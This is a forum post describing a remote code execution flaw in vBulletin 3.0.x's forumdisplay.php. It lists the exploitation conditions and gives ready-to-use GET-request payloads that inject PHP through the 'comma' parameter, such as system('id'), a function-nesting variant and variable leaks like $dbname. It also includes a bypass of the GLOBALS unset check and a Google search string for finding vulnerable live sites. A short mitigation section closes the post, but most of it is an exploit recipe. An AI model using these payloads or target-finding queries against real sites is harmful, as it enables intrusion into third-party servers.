AL3NDALEED Founded that within the following conditions:

Quote:

* 1st condition : $vboptions['showforumusers'] == True , the admin must set showforumusers ON in vbulletin options.

* 2nd condition : $bbuserinfo['userid'] == 0 , you must be an visitor/guest

* 3rd condition : $DB_site->fetch_array($forumusers) == True , when you visit the forums, it must has at least one user show the forum.

* 4th condition : magic_quotes_gpc must be OFF SPECIAL condition : you must bypass unset($GLOBALS["$_arrykey"]) code in
init.php by secret array GLOBALS[]=1 Wink))


Is it possible to inject code as in the following example:

http://site/forumdisplay.php?GLOBALS[]=1&f=2&comma=".system('id')."

Anyway the forth condition can be bypassed like this (nesting formulas - Credit to pokley aka pokleyzz - Not Tested)

http://site/forumdisplay.php?GLOBALS[]=1&f=2&comma={$func($comm)}&func=system&comm=id

Or evaluating the value of variables:

forumdisplay.php?GLOBALS[]=1&f=2&comma=$admincpdir
forumdisplay.php?GLOBALS[]=1&f=2&comma=$dbname

So if you are a web master:

Solutions:
----------------
* Disable showforumusers in vbulletin options .
* add the next line before if ($vboptions['showforumusers'])
$comma = '';

As you can see is just a GET req the one by AL3NDALEEB.

The problem lays in Magic Quotes. These protect the innocent against this exploit.

Is very hard find servers they have these functions
in my opinion only 15 % all VB (3.0.x-3.04) installed in all world is vulnerable

Code:
* 1st condition : $vboptions['showforumusers'] == True , the admin must set showforumusers ON in vbulletin options.

* 2nd condition : $bbuserinfo['userid'] == 0 , you must be an visitor/guest

* 3rd condition : $DB_site->fetch_array($forumusers) == True , when you visit the forums, it must has at least one user show the forum.

searching something like this `inurl:"forumdisplay" +"Currently Active Users" +"vBulletin Version 3.0.3"` in google will help find one.

You can create the third condition by login as registered user and view the forum.
